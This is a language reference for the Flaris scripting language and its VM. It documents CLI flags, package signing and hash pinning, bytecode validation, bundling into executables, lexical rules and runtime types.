Flaris Language Reference

The Flaris programming language · flaris-lang.org · github.com/flaris-lang/flaris · flaris-lang.org/discord

Version 1.0.6.0 **Generated** 2026-10-27 **License** see repository

© 2026 SolidInvention AB — created and maintained by SolidInvention AB

Table of Contents

- R1 - CLI Reference
- R2 - Type System
- R3 - Built-in Functions
- R4 - The Exception class
- R5 - Operator Precedence
- R6 - VM Limits
- R7 - Performance Model
- R8 - Standard Library
- R9 - Debug Reference
- R10 - Writing Fast Flaris Code
- R11 - JIT Compilation
- R12 - Static Analyzer

R1 - CLI Reference

The Flaris VM binary is `flarisvm`.

Invocation Modes

Command	Description
`flarisvm <file.fls> [options]`	Compile and run source file
`flarisvm - [options]`	Compile and run source from **stdin**
`flarisvm --compile <input.fls> <output.flx> [options]`	Compile source to bytecode
`flarisvm --compile - <output.flx> [options]`	Compile source from **stdin** to bytecode
`flarisvm --exec <file.flx> [options]`	Execute compiled bytecode
`flarisvm --exec - [options]`	Execute bytecode from **stdin**
`flarisvm --disasm <file.flx>`	Disassemble bytecode (debug view)
`flarisvm --disasm <file.flx> --list`	List the file's functions by the name that selects one: `add`, `Point.len`, a lambda as its parent and the constant index its disassembly shows (`makeAdder/0`). Arity, size and - with `-g` - the first source line
`flarisvm --disasm <file.flx> <function>`	Disassemble only that function; exits 1 when the file has no function by that name. Both forms read the main module, not a bundle's dependencies
`flarisvm --eval '<code>' [options]`	Run code directly from string

Command	Description
`flarisvm --sha256 <file.flx>`	Print the whole-file SHA-256 (identical to `sha256sum`) - the value to pin via `library(file, version, hash)`
`flarisvm --sig-info <file.flx>`	Print the embedded signature status, machine-readable: `unsigned`, or `signed|<trusted|valid|invalid>|<pubkey-hex>|<signer>` (see *Package signing*)
`flarisvm --import-key <name> <pubkey>`	Add a 64-hex Ed25519 public key (with a label) to `~/.flaris/trusted_keys`
`flarisvm --check <file.fls>`	Compile without running: full analyzer diagnostics plus a JIT eligibility report - see R11 and R12
`flarisvm --format <file.fls|->`	Print the file in canonical layout on stdout - see *Formatting* below
`flarisvm --format-write <file.fls>`	Rewrite the file in canonical layout, in place
`flarisvm --format-check <file.fls>`	Exit 1 if the file is not already formatted (prints nothing on success)
`flarisvm -Wno-<name> …`	Silence one analyzer warning, e.g. `-Wno-unused-symbol` - see R12
`flarisvm -Werror …`	Treat any analyzer warning as an error
`flarisvm -Werror=<name> …`	Fail the compile on one warning, e.g. `-Werror=no-effect` - see R12
`flarisvm -w …`	Silence all analyzer warnings
`flarisvm --diagnostics json …`	Emit diagnostics as a JSON array on stdout
`flarisvm --version`	Print version string
`flarisvm --compile <input.fls> <output.flx> --bundle [options]`	Compile and bundle every module the program imports (transitively) into a self-contained `.flx`
`flarisvm --compile <input.fls> <output.flx> --bundle='<file1.flx>;...' [options]`	Compile and bundle the named modules into a self-contained `.flx`
`flarisvm --embed <input.fls|.flx> <output> [options]`	Build a self-contained native executable (program + runtime in one file). See *Self-contained executables*

Formatting

`--format` re-lays out a source file: indentation, spacing, brace placement and blank lines become canonical, and nothing else changes. It works on stdin (`--format -`), which is what the VS Code extension uses so an unsaved buffer formats as typed.

Flag	Effect
`--indent=<n>`	Spaces per indent level (default 4, 1-16)
`--width=<n>`	Right margin at which argument lists and literals wrap (default 100, 40-400)
`--tabs`	Indent with one tab per level instead of spaces

The formatter works on the token stream, never the AST, and every token is copied verbatim out of the source - so string literals, escapes, `"""` blocks and comments come through byte-for-byte. Before emitting anything it re-tokenizes its own output and compares it against the input token stream; if they differ it writes nothing and exits non-zero. A format can therefore only move whitespace, never change what the program means.

Layout is canonical with one exception: a construct the author put on a single line keeps that line if it still fits the margin. That covers one-line blocks (`fn sq(x) { return x * x; }`), one-line `case` clauses and brace-less bodies (`if (!ok) return;`). Everything wider than the margin, and everything the author already spread across lines, is laid out by the formatter.

CRLF line endings and a leading UTF-8 BOM are preserved. Output always ends in exactly one newline and never contains trailing whitespace.

```
flarisvm --format-check src/app.fls   # CI gate: non-zero if unformatted
flarisvm --format-write src/app.fls   # rewrite in place
```

Flags - Disablers (default ON)

Flag	Effect
`--no-opt`	Disable the optional compiler optimizations (dead-branch removal, loop-invariant hoisting, automatic inlining of small functions, fused instructions, tail-call elimination). Constant folding, enum lowering and the expansion of `fn inline` functions always run. Output never differs from the default - see *What the compiler optimizes* in R7
`--strip`	Omit debug info. This is already the default; it also overrides the `-g` that `--debug` implies
`--small`	Extra size optimizations for compiled `.flx`; also removes string symbol names
`--no-verify`	Disable FFI library (Ffi.Load) SHA-256 checks

Flags - Enablers (default OFF)

Flag	Effect
`--unsafe`	Enable unsafe code and FFI (raw memory, plain-http imports, FFI)
`--allow-ffi`	Enable `Ffi.*` only, leaving the rest of `--unsafe` refused
`--mem`	Memory report at shutdown: peak RSS, slab footprint, peak/total object counts, heap bytes, block regions, and leak count. Exits non-zero if leaks are detected.
`--stats`	Print VM statistics after execution (implies `--time`)
`--prof[=hz]`	Sample the running script `hz` times a second (1-10000, default 1000) from a CPU timer and print a per-function table at exit. A sample is charged to the script function running, builtin time included, and to every caller on its stack (`self` / `total`); objects allocated are charged the same way; native (JIT) kernels are charged to their interpreted caller, and with the JIT on each row ends with the reason that function ran interpreted (its `--check` verdict, or a native-entry fallback). Lines with `-g`; a per-fiber table when several fibers ran. `flarisvm` only; Windows caps the rate at 1000
`--time`	Print timing report
`--verbose`	Verbose output (also enables the timing report)
`--list-keys`	Print the built-in and trusted signing keys, then exit
`-g` / `--no-strip`	Keep debug info: source line numbers for stack traces and the debugger. Off by default (stack traces then report line 0); implied by `--debug` and `--dap`
`--trace`	Very verbose / print disassembled bytecode before execution
`--jit-disable`	Turn the JIT off. It is ON by default: eligible functions get JIT IR at compile time and native code at run time (ARM64 and x86-64)
`--debug`	Stop at the start of `Main` and open the debugger prompt; disables the JIT (see R9)
`--dap=<port>`	Serve the Debug Adapter Protocol on loopback for an editor; implies `--debug`

Diagnostics are colored only when stderr is a VT-capable TTY; setting the `NO_COLOR` environment variable (non-empty, no-color.org convention) forces plain output.

Exit Codes

Code	Meaning
0	Success
`fn Main` return	A numeric return value from `Main` becomes the process exit code

Code	Meaning
exception code	An uncaught exception exits with the exception's numeric code - except that a code whose low byte is 0 (`Exception.NullPtr` , or a custom 256) exits with 6 (`RuntimeError`), so an uncaught exception never reports success
1	Tokenizer error
2	Compile error (bad source on the CLI or in a compiled unit)
3	Assert failure (`Assert` / `AssertEq` or an internal invariant)
4	File error: missing or unreadable source or bytecode, or a `.flx` refused by validation, signature or trust checks
5	Debugger quit (`q`)
6	Reserved (analyzer failures currently surface as code 2)
7	Fingerprint/pin mismatch on a signed or pinned import
8	Reserved

VM Tuning Flags

These override the compiled-in defaults. Values must be within min/max ranges listed in R6.

Flag	Effect
`--stack=<int>`	Override evaluation stack size
`--slabs=<int>`	Override slab allocator count
`--fibers=<int>`	Override maximum fiber count
`--frames=<int>`	Override maximum call-frames
`--io-threads=<int>`	Worker threads for the I/O pool (1-16). Default: half the logical CPUs, minimum 4. Raise it if `--stats` reports jobs run inline.

Imports

Flag	Effect
`--min-version=<M.m.p.b>`	Set the minimum runtime version stamped into compiled `.flx` output. Compile mode only; silently ignored at runtime. Examples: `--min-version=1.0` , `--min-version=2.1.3` . Default: `1.0.0.0`
`--libs=<path>`	Set default library loading-path (otherwise `.`) for VM to load libraries for later resolving imports
`--sign=<hex|keyfile>`	Compile mode only. Embed an Ed25519 signature in the `.flx` . Accepts the 128-hex-char secret key inline or a path to a file containing it. See *Package signing*.
`--require-signed`	Runtime. Refuse to load any `.flx` that is unsigned, has an invalid signature, or is signed by a key not in `~/.flaris/trusted_keys` .

Module name resolution (case-sensitive)

`library(name, …)` (and `VM.Import`) resolve `name` to a file by **exact, case-sensitive match**: `library("Signals")` → `Signals.flx` (on the `--libs` path), `library("./x/Y")` → `./x/Y.flx` , a URL → that exact path. The name is never lowercased, so `library("signals")` finds `Signals.flx` only on case-insensitive filesystems (macOS/Windows) and **fails on Linux**. Keep the import string, the on-disk filename, and any pinned name byte-identical (convention: capitalized first letter). Imported symbol names must also match the library's `export` exactly - `{ Jwt }` ≠ `{ JWT }` .

Search order for a non-path name: (1) the name as a path relative to the working directory, (2) each `;` -separated entry of `--libs` , (3) the per-user install dir - `~/.flaris/libs` (POSIX) / `%USERPROFILE%\.flaris\libs` (Windows), or `$FLARIS_LIBS` if set. The first version-satisfying candidate wins (`--libs` beats the global dir). Step 3 lets a package manager install once into the home directory and have `flarisvm script.fls` resolve imports with no `--libs` flag.

Library integrity (pinning)

`library(name, version, hash)` (and `VM.Import(name, version, hash)`) verify the loaded module against `hash` - the **whole-file SHA-256** of the `.flx`, identical to `sha256sum file.flx` and to `flarisvm --sha256 file.flx`. The hash is recomputed over the actual bytes loaded, so it detects any tampering of a downloaded library. Supply it from a trusted source (a registry, a README, or `flaris.json`).

- An optional `sha256:` prefix is accepted, so a value recorded by flarispm in `flaris.json` (`"sha256:<hex>"`) can be pasted verbatim.
- A mismatch halts the VM (fail-closed) and is **not** affected by `--no-verify` (`--no-verify` only disables the FFI shared-library check in `Ffi.Load`).
- Omit the hash to load without pinning.
- No hash is embedded in the `.flx` itself: a self-recomputed embedded hash would be self-certifying and offer no protection against tampering. The trust anchor is the hash you pass in, delivered out-of-band.

Package signing (Ed25519)

Where the pinned hash above answers *"are these the same bytes I vetted?"* (trust on first use), an **embedded Ed25519 signature** answers *"who produced this?"* - authenticity that survives an untrusted transport, registry, or mirror.

A signature is carried inside the `.flx` header (192-byte header; algorithm + 32-byte public key + 64-byte signature). It covers the SHA-256 of the **entire file with the signature field masked to zero**, so it authenticates the header metadata (name, version, entry), the constants, and the code together.

Producing a signed `.flx`:

```
# One-time: generate a key pair (keep the secret key offline).
flarisvm --eval 'let kp = Crypto.Ed25519KeyPair();
             File.WriteText("publisher.sk", kp.SecretKey);   // 128 hex chars
             File.WriteText("publisher.pk", kp.PublicKey)'    // 64 hex chars

# Compile and sign (signing is deterministic — the .flx stays reproducible).
flarisvm --compile mylib.fls mylib.flx --sign=publisher.sk
```

The public key is printed at compile time and embedded in the file; verify it later with `Crypto.Ed25519Verify`.

Verifying at load:

Situation	Default (soft)	With `--require-signed`
Unsigned `.flx`	runs (no warning)	**rejected**
Valid signature, signer **in** `trusted_keys`	runs	runs
Valid signature, signer **not** in `trusted_keys`	runs	**rejected** (untrusted signer)
Invalid / tampered signature	**rejected (fail-closed)**	**rejected**

- A **tampered** signed file always fails to load, in both modes - the signature no longer matches the recomputed digest.
- **Only a trusted file is JIT-compiled.** The JIT code a `.flx` carries is used only when its signer is trusted; an unsigned file, or one signed by a key not in `trusted_keys`, runs in the interpreter. Sign your

own builds (`--sign`) and trust that key to keep the JIT for them. Source run directly is unaffected.
- **The official Flaris signing key is compiled into the runtime** as a built-in trust anchor, so the bundled standard library verifies under `--require-signed` with no file to download or configure. The published key is also on the website as a cross-check.
- Additional publishers are trusted via `~/.flaris/trusted_keys` (or `$FLARIS_TRUSTED_KEYS`): one 64-hex public key per line, optionally followed by whitespace and a human-readable label, e.g. `b6e2…79be acme corp`. Blank lines and `#` comments are ignored. This file is **additive** on top of the built-in anchor - add a third-party publisher's key here to trust their packages too. Use `flarisvm --import-key <name> <pubkey>` to append one safely (it dedupes). The label (and the built-in `flaris-lang.org` name) is shown as the *signer* by `flarisvm --disasm` and `flarisvm --sig-info`.
- Signature verification is independent of `--no-verify` and of the `library(..., hash)` pin; use signing for *authenticity* and the hash pin for *exact-artifact* checks.

Security model (trust boundary)

A `.flx` is **executable code, not a sandboxed format**. Running one is equivalent to running a native program: it can read and write files, spawn processes (`Os.RunEx`, `Os.Execute`), open sockets, and - with `--unsafe` - call arbitrary C via FFI and access raw memory. On load the VM validates bytecode structure (validate chunks, JIT-IR validation, size/count caps) to contain *malformed* input safely, but it is **not** a security sandbox for *malicious* input.

- **Only run `.flx` files you trust.** For third-party libraries, pin the whole-file hash via `library(name, version, hash)` (above) so you execute exactly the artifact you vetted, and/or require a trusted Ed25519 signature (`--require-signed`, see *Package signing*) to authenticate the publisher. These are the primary defenses.
- **The JIT widens the trust surface.** JIT-compiled functions omit the runtime type checks the interpreter performs, so a *tampered* `.flx` run with the JIT on can crash or corrupt memory where the interpreter would raise a clean error. The embedded JIT code is structurally validated at load and rejected if malformed, but that check does not type-verify it. **Run untrusted bytecode with `--jit-disable`**, which ignores the embedded JIT code entirely.
- `--unsafe` grants FFI and raw-memory access; never combine it with untrusted code.
- `--allow-ffi` grants FFI alone, so a script that only needs a plugin does not also get raw memory and plain-http imports. `--unsafe` implies it.

Bytecode verification

Before any chunk runs, the loader structurally validates it. This *contains malformed input* - a corrupt or truncated `.flx` is rejected with a clean error instead of crashing - but it is **not** type verification and **not** a sandbox for hostile input (see the trust-boundary note above). Validation runs in three passes over each function chunk and recurses into nested functions (nesting depth is bounded):

1. **Decode & operand checks.** Every instruction is decoded and its operands are range-checked: constant-pool indices must be in range (and property/method keys must actually be strings), local slots must be `< 128`, call and invoke argument counts must be `<= 16`, and built-in module/function references must exist. Each instruction's decoded length must also match its canonical length, so an opcode cannot be mis-sized. Instruction boundaries are recorded for pass 2.
2. **Branch-target check.** Every jump, loop, branch, `try`, `foreach`/iterator and jump-table target must land exactly on a recorded instruction boundary - control can never jump into the middle of an

instruction.

3. **Stack-depth check.** An abstract simulation computes the maximum value-stack depth each function and method can reach. Any opcode the simulation does not model is rejected (fail-closed) rather than assumed harmless. A function that can need more slots than the configured stack loads with a warning naming it and the `--stack=` size it needs, since calling it can raise `Exception.StackError`. At run time every push is bounds-checked, so the value stack cannot overflow.

Size and count caps also apply: `10 MB` of bytecode and `16,384` constants per function (see *Limits*). A chunk that fails any check is refused at load time; an invalid instruction encountered at run time raises `Exception.IllegalInstruction` (code `16`), a hard failure. These guarantees hold for the interpreter; the JIT omits the interpreter's runtime type checks and so widens the trust surface as noted above - the embedded JIT code gets its own structural validation at load (unknown opcodes, operands past the end, jump targets off an instruction boundary, out-of-range registers, tags, widths and table indexes are all refused, and the function then runs interpreted), but that is containment of malformed input, not verification of hostile input.

Bundle files

A bundle is a self-contained `.flx` file produced with `--bundle`. It embeds dependency chunks in a single file with a TOC at the start. At runtime the VM pre-loads all bundled deps before execution begins - no filesystem access occurs for those modules.

Choosing the dependency set:

Form	Packs
`--bundle` (or `--bundle=auto`)	The program's whole import chain: every module it imports, every module those import, and so on
`--bundle='<f1.flx>;<f2.flx>;...'`	Exactly the named files

Both may be given together; a file named explicitly is not packed a second time when the walk also finds it. The walk resolves each import through the same search order the loader uses (the path as written, then each `--libs` segment, then `~/.flaris/libs`) and honours the version requirement, so the bundle contains the same file the import would have loaded from disk. A content pin (`library(name, version, "sha256:...")`) is verified while building, and a URL import is downloaded and packed like any other dependency.

Limitations:

- Named modules have to be readable from a direct path, via a `--libs` folder, or from `~/.flaris/libs`
- A module imported at runtime through a direct `VM.Import(name, version)` call is not bundled: its name is a computed string, invisible to a build-time walk. Ship that `.flx` alongside the program. Only `import ... from library(...)` declarations are followed
- Native libraries opened with `Ffi` are not bundled - they are OS shared objects loaded at runtime. A build that packs a program using `Ffi` warns about it
- An embedded binary's runtime always enforces `--require-signed`, so its bundled deps must be signed by a trusted key
- `--bundle` applies to source input only. A `.flx` given to `--embed` is embedded byte for byte (that is what preserves its signature), so the flag is refused there - compile the bundle first, then embed it

Inspecting a bundle:

```
flarisvm --disasm my_bundle.flx
```

The disassembler shows the bundle TOC, each dep chunk, and the main chunk.

Self-contained executables

`--embed <input> <output>` produces a single native executable that carries both your program and the runtime - one file to distribute, nothing to install on the target machine (comparable to Go's static binaries).

```
# From source, in one step
flarisvm --embed app.fls myapp
./myapp arg1 arg2            # runs standalone — no flaris on PATH, no --libs

# Statically link every library the program imports into the same binary
flarisvm --embed app.fls myapp --bundle

# ...or name the exact files to link
flarisvm --embed app.fls myapp --bundle='./mylib.flx'

# Embed precompiled bytecode directly (embedded as-is; --bundle is refused here)
flarisvm --embed app.flx myapp
```

How it works. The full `flarisvm` compiles the input (or reads the `.flx` directly), then appends the bytecode to the compiler-free `flaris` runtime, followed by a 32-byte settings block and a fixed 24-byte trailer recording the payload's offset and length. On startup any Flaris binary reads that trailer out of its own image; if a payload is present it applies the recorded settings, runs the embedded program, and passes all CLI arguments to the script, otherwise it behaves as the normal VM. The payload rides *after* the executable image, so the OS loader ignores it and a plain file copy still works.

Details:

- **Input** is detected by content (the `FLS2` magic), not by extension: a `.fls` is compiled first, a `.flx` is embedded as-is.
- The same compile-time options as `--compile` apply to a `.fls` input: `--bundle`, `--sign`, `--no-opt`, `--strip`.
- **Runtime settings are chosen at embed time.** A self-contained binary hands every CLI argument to the script, so flags meant for the VM are recorded in the settings block instead: give `--jit-disable`, `--unsafe`, `--allow-ffi`, or any VM limit (`--stack=`, `--slabs=`, `--fibers=`, `--frames=`, `--io-threads=`) alongside `--embed` and the binary applies them on every start. Nothing is on by default - an embedded program gets JIT or unsafe/FFI mode only if you opted in when building it. Limits are validated at startup against the same ranges as the CLI flags; a tampered or out-of-range value refuses to run rather than clamping. Settings live in the binary, not the bytecode: `--compile` never records them, and the `.flx` payload stays byte-identical whatever settings you choose.
- **Requires the `flaris` runtime stub.** It is resolved next to `flarisvm` first, then on `PATH` (the official installer places both). Only the full `flarisvm` can build embeds; `flaris` itself has no compiler and no `--embed`.

- The embedded runtime has no compiler and no `eval` - a bundled binary ships exactly the bytecode you built.
- Combine with `--bundle` so the shipped binary needs no `~/.flaris/libs` and no `--libs`.

Platform notes. The mechanism is platform-agnostic: ELF, Mach-O, and PE all tolerate the payload as trailing "overlay" bytes past the mapped image, so self-contained binaries run on Linux, macOS (including Apple Silicon, where the runtime's ad-hoc signature covers the stub and the trailing payload is tolerated), and Windows. The only per-platform gap is code-signing for distribution: appending bytes invalidates strict macOS `codesign`/notarization and Windows Authenticode (and an unsigned `.exe` may draw SmartScreen friction, though it still runs).

Common Recipes

```
# Development - run with timing and verbose
flarisvm app.fls --verbose --time

# Production - execute pre-compiled bytecode
flarisvm --exec app.flx

# Compile for production (no debug symbols, optimized)
flarisvm --compile app.fls app.flx --strip

# Enable FFI, skip the FFI shared-library (.so) SHA-256 check
flarisvm app.fls --unsafe --no-verify

# Compile-only: analyzer diagnostics + JIT eligibility report, no execution
flarisvm --check app.fls

# Compile library with explicit version
flarisvm --compile mylib.fls mylib.flx --min-version=1.2.0

# Print the whole-file SHA-256 (== sha256sum) to pin as the third arg to library()
flarisvm --sha256 mylib.flx

# Compile and embed an Ed25519 signature, then run requiring a trusted signer
flarisvm --compile mylib.fls mylib.flx --sign=publisher.sk
flarisvm --exec mylib.flx --require-signed

# Inspect a package's signature (machine-readable) and trust a publisher
flarisvm --sig-info mylib.flx
flarisvm --import-key "acme corp" <ed25519-pubkey-hex>

# Compile with all imports bundled into a single .flx
flarisvm --compile app.fls app.flx --bundle

# Bundle a hand-picked set, with an explicit version
flarisvm --compile app.fls app.flx --bundle='./data.flx' --min-version=2.0.0
```

```
# Inspect bundle contents
flarisvm --disasm app.flx

# Build a single self-contained executable (program + runtime), libs bundled in
flarisvm --embed app.fls app --bundle
./app

# Compile with JIT code embedded (for every eligible function)
flarisvm --compile app.fls app.flx

# Run with JIT active (runs eligible functions as native code)
flarisvm --exec app.flx

# See which functions are JIT-eligible during compilation
flarisvm --verbose app.fls

# Read source from stdin, compile and run
echo 'fn Main() { Console.WriteLine("hello"); }' | flarisvm -

# Compile from stdin to a .flx file
cat app.fls | flarisvm --compile - app.flx

# Execute pre-compiled bytecode piped via stdin
cat app.flx | flarisvm --exec -

# End-to-end pipe: compile and execute without touching the filesystem
cat app.fls | flarisvm --compile - /tmp/app.flx && flarisvm --exec - < /tmp/app.flx
```

R2 - Type System

Lexical Structure

How source text is broken into tokens (the numeric/float literal forms are detailed under Type Limits).

Encoding. Source is UTF-8. A leading UTF-8 BOM (`EF BB BF`) is skipped. A NUL byte anywhere in the file is an error: everything after it would otherwise be compiled away while a reader of the file still sees it. Bidirectional control characters (`U+202A`–`U+202E`, `U+2066`–`U+2069`) are rejected anywhere in the source, comments and strings included, because they can make the rendered text differ from the compiled text ("Trojan Source"). Identifiers are ASCII: a leading `_`/letter followed by `_`/letters/digits. An identifier or numeric literal longer than 1024 bytes is a compile error. Line numbers count LF; a CR that is not part of CRLF is plain whitespace. Columns in diagnostics are 1-based **byte** offsets, so a tab or a multi-byte character counts as its byte width.

Diagnostics. A malformed token is reported as `file:line:col: message` like any parse error, and parsing continues, so one run can report several lexical errors. The formatter refuses to rewrite a file it cannot

tokenize.

Comments.

```
// line comment — to end of line
/* block comment */
/* block /* comments */ nest */   // fully balanced
```

Because block comments nest, every `/*` needs its own `*/`; a block comment that is still open at end of input is a compile error.

Numeric literals. Decimal, `0x`/`0X` hex, `0b`/`0B` binary, `0o`/`0O` octal, and floats with a fractional part and/or `e`/`E` exponent (optional `+`/`-`). A digit is required on both sides of the decimal point (`0.5`/`5.0`, never `.5` or `5.`). `_` digit separators are allowed in every base and in the fraction and exponent (`0xFF_FF`, `0b1010_1010`, `1_000.000_5`); they are removed before the value is parsed, and must sit between digits or directly after the radix prefix (`1_`, `1__0` and `1.5_` are errors, `0x_FF` is fine). The lexer rejects, with a column: a digit outside the radix (`0b2`, `0o8`), a prefix with no digits (`0x`), a letter glued to a number (`123abc`, `1e` without exponent digits), and a float beyond the 64-bit range (`1e400`; a value too small to represent becomes `0.0`). An integer outside `int64` is reported by the compiler with the literal's text; `-9223372036854775808` itself is valid.

String literals. Three forms:

- `"..."` - single line, escapes processed. A backslash at end of line is a line continuation (the newline is dropped); a raw newline is an error - use `\n`, a line continuation, or a raw string.
- `"""..."""` - raw: no escape processing. An opener of N (≥ 3) quotes closes only on a run of exactly N quotes, so `""""..."""" ` can hold `"""` inside; a run of N or more quotes in the content is an error. CRLF line endings inside the literal are folded to LF, so the value is the same on every platform. When the opener is followed only by a newline and the closer sits on its own line, the literal is **multi-line**: the whitespace before the closer is stripped from every content line, the newline before the closer is dropped, and a whitespace-only line becomes empty; a content line that does not start with that indentation is a compile error. Any other layout is verbatim.
- `$"..."` - interpolated: `{expr}` holes are evaluated and formatted (below).

```
let json = """
    {
      "name": "Alice"
    }
    """;             // "{\n  \"name\": \"Alice\"\n}" — closer's indentation removed
let t = """line1
line2""";            // verbatim: "line1\nline2"
```

Recognised escapes in `"..."` and in the literal parts of `$"..."`:

- `\n` `\r` `\t` `\b` `\f` `\a` `\v` - control characters (newline, return, tab, backspace, form-feed, bell, vertical tab)
- `\\` `\"` `\'` - literal backslash, double quote, single quote
- `\xHH` - one byte from two hex digits
- `\uXXXX` - Unicode code point from exactly four hex digits (max `U+FFFF`)

- `\u{H..H}` - Unicode code point from 1-6 hex digits, up to `U+10FFFF` (e.g. `\u{1F600}` for 😀)

Both `\u` forms map a surrogate value to `U+FFFD`. Use `\u{...}` for code points above `U+FFFF` (emoji, etc.); the four-digit `\uXXXX` cannot reach them. Any other escape, and a malformed `\x` or `\u` (`"\q"`, `"C:\users"`, `"\x4"`), is a compile error - write `\\` for a backslash, or put regexes and Windows paths in a raw `"""..."""` string. Because Flaris strings are NUL-terminated at runtime, a `\0` or `\x00` **in a string literal is a compile error** - put binary data in a `Buffer`. String literals are capped at 64 KB of content.

Interpolated strings. `$"..."` compiles to a `String.Format` call: each hole `{expr}` becomes a positional placeholder. `{{` and `}}` are literal braces. A hole may hold any expression - calls, indexing, nested `"..."`, `'c'` and `$"..."` literals, ternaries, even newlines - but it is one expression, so a comma at its top level is an error; commas inside parentheses, as in `{f(a, b)}`, are fine. At most 15 holes per literal (one call argument each). A literal with no holes is an ordinary string. For alignment and format specs, call `String.Format` directly. `$"""..."""` is not supported.

```
let n = 255; let f = 3.14159;
$"n={n} hex={n:X4}..."          // not valid: no spec in a hole
$"{n} {f} {{literal}}"         // "255 3.14159 {literal}"
String.Format("{0:X4}", n)     // "00FF" — specs live in String.Format
```

Char literals. `'...'` holds exactly one Unicode code point: a raw UTF-8 character (`'a'`, `'å'`, `'😄'`) or an escape (`'\n'`, `'\x41'`, `'å'`, `'\u{1F600}'`). Unlike strings, `'\0'` is valid - it is the code point 0, not an embedded NUL. An empty literal (`''`), three bare quotes (write `'\''` for a quote), more than one code point (`'ab'`) and a surrogate (`'\u{D800}'`) are compile errors.

Keywords. `fn` `async` `static` `inline` `let` `var` `const` `global` `if` `else` `for` `foreach` `iter` `from` `to` `while` `do` `switch` `case` `default` `break` `continue` `return` `yield` `await` `guard` `nil` `true` `false` `class` `this` `super` `new` `enum` `import` `export` `library` `as` `try` `catch` `finally` `throw` `breakpoint`. The words `in` `is` are operators. (`var` is an alias for `let`.) Every keyword, plus the operator words `in` `is`, can be used as a property name after `.` and as an object-literal key (`o.default`, `o.class = 1`, `{ class: 1, default: 2, in: 3 }`). A smaller set of *contextual keywords* - `as` `default` `do` `from` `global` `inline` `iter` `library` `static` `to` - can also name a variable, parameter, function or class field. The one limit: at the start of a statement, `iter` `global` `do` `static` and `inline` still open their own construct, so `iter = 1;` or `global = 2;` cannot stand as a bare assignment (use `this.iter`, or another name, for that local), and inside a `switch` body a statement may not begin with `default`. A function may still be named `static` or `inline` (`fn static()`): a modifier word directly followed by `(` is the name. `guard` and every other keyword remain fully reserved as names.

```
let o = { class: 1, default: 2, in: 3 };
o.default = 5;
o.class;

fn Range(from: int, to: int) { return to - from; }
```

Runtime Types

These are the actual types values carry at runtime.

Primitive Types

Type	Description
`nil`	Absence of value. Only one instance exists.
`bool`	Boolean `true` or `false`.
`char`	Single Unicode codepoint (unsigned 32-bit).
`int`	Signed 64-bit integer. Values within $\pm 2^{60}$ are tagged immediates (no allocation); larger values are heap-allocated. Full int64 range supported.
`float`	64-bit IEEE-754 double-precision.
`string`	UTF-8 byte sequence. Every `String` function and operator returns a new string; `s[i] = ch` writes in place (see the **Mutability** row under String).

Composite Types

Type	Description
`array`	Dynamic, zero-indexed array. Max 16,777,216 elements.
`object`	Hash-based dictionary with **string keys** (property names). An int or char key names the property its text spells: `o[42]` is `o["42"]` and `o['a']` is `o["a"]` (also for `in` and the `Object` functions that take keys), and keys read back as strings. Writing with any other key (a float, a bool, an array) raises. For keys that keep their type use `Collections.HashMap` / `Collections.OrderedMap`. Max 16,777,216 properties. Properties iterate in insertion order, identically in every process (see `Json.Canonicalize` for an order independent of how the object was built).
`exception`	Exception with code and message.

Structured Types

Type	Description
`class`	Class definition object.
`instance`	Instance of a class.

Execution Types

Type	Description
`fiber`	Lightweight cooperative coroutine.
`fn`	Any callable value: a named function, an anonymous function, a closure, a bound method (`obj.method`), a builtin (`String.Length`), or an FFI function. Anything you can call satisfies `fn`.
`module`	Built-in module namespace.

Binary Types

Type	Description
`block`	Raw memory buffer. Element count × element size bytes. `blk[i]` reads element `i` as an unsigned integer for 1-, 2- and 4-byte elements (`0` – `255` , `0` – `65535` , `0` – `4294967295`) and as the raw signed 64-bit value for 8-byte elements; `blk[i] = v` stores the low bytes of `v`. Use `Buffer.ReadI8At` / `ReadI16At` / `ReadI32At` for a signed view.
`pointer`	Runtime allocated pointer (FFI use).
`stream`	File/IO stream handle.

Type Limits

Integer

Flaris integers are full signed 64-bit. Values within $\pm 2^{60}$ are stored as **tagged pointer immediates** (zero heap allocation, fast path). Values outside that range fall back to heap-allocated objects - same type, same semantics, just slower to create.

Property	Value
Representation	tagged immediate for $\lvert x \rvert < 2^{60}$, heap-allocated otherwise
Minimum	−9,223,372,036,854,775,808 (-2^{63})
Maximum	9,223,372,036,854,775,807 ($2^{63}-1$)
Fast (no-alloc) range	−1,152,921,504,606,846,976 to 1,152,921,504,606,846,975 ($\sim\pm 2^{60}$)
Overflow behavior	Wraps (no trap)
Division	`int / int` → `int` (truncates toward zero); `float` if either operand is `float`
Power	`int ^^ int` → `int`, exact in 64-bit integer arithmetic and wrapping on overflow like `*` (a negative exponent gives 0, except for the bases 1 and -1); `float` if either operand is `float`

Integer literals:

```
42          // decimal
-10         // negative
0x1234      // hexadecimal
0b1001001   // binary
0o755       // octal
1_000_000   // underscore separator (any base)
0xFF_FF     // separators work in hex / binary / octal too
```

`_` digit separators are accepted in every base (and in a float's fraction and exponent); they are stripped before the value is parsed.

Float

Property	Value
Standard	IEEE-754 double precision (64-bit)
Precision	~15–17 significant decimal digits
Minimum positive	2.2250738585072014e−308
Maximum	1.7976931348623157e+308
Special values	`Infinity`, `-Infinity`, `NaN`

Display vs. round-trip: `str()` and `Console.WriteLine` / `Print` use a **compact** form - an integral value prints with no decimal point or exponent (`5000.0` shows as `5000`), and a fractional value uses `%g` (up to ~6 significant digits, so `0.1 + 0.2` shows as `0.3`). For a **precise, round-trippable** string (full `%.17g`) use `Convert.ToString` / `String.ToString` instead.

Float literals:

```
3.14
-0.5
1.0e6     // scientific notation
6.02e23   // exponent, optional +/- sign
1_000.5   // underscore separators (integer, fraction and exponent)
```

A digit is required on both sides of the decimal point: write `0.5`, not `.5` (a leading `.` is the member-access operator), and `5.0`, not `5.` (`5.foo` is a method/property access on `5`). Mixed int + float operations always yield `float`.

String

Property	Value
Encoding	UTF-8
Mutability	Every `String` function and operator returns a new string; only `s[i] = ch` writes in place, and that write is seen through every variable holding the same string (a literal is copied first, never modified). A string used as an object or map key becomes read-only: from then on `s[i] = ch` on it raises `Exception.ConstAssign`, through any variable that holds it and for a key read back with `Object.Keys`
Indexing	Byte-level (`s[i]` returns the byte as a `char`; `s[i] = v` stores one byte: the low byte of an int or char - a bool or float converts as `int()` does - and `0` for any other value)
Max size	256 MB

UTF-8 Indexing Model

Strings store raw UTF-8 bytes. Characters may occupy 1–4 bytes. The language distinguishes:

- **Byte index** - position in the raw byte buffer. Used by `foreach`, `String.Utf8CpAt`, `String.Utf8CpNext`. Range `0..string.byteLength`.
